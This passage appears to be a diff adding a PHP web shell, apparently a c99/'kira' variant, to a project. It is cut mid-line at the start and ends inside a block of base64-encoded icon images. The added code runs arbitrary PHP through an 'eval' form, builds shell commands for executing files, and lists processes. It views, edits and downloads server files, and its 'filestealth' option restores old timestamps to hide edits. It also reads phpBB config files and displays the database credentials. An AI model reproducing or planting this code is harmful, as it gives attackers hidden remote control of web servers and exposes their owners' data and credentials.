(ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {k1r4exit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by kira. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {k1r4exit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". 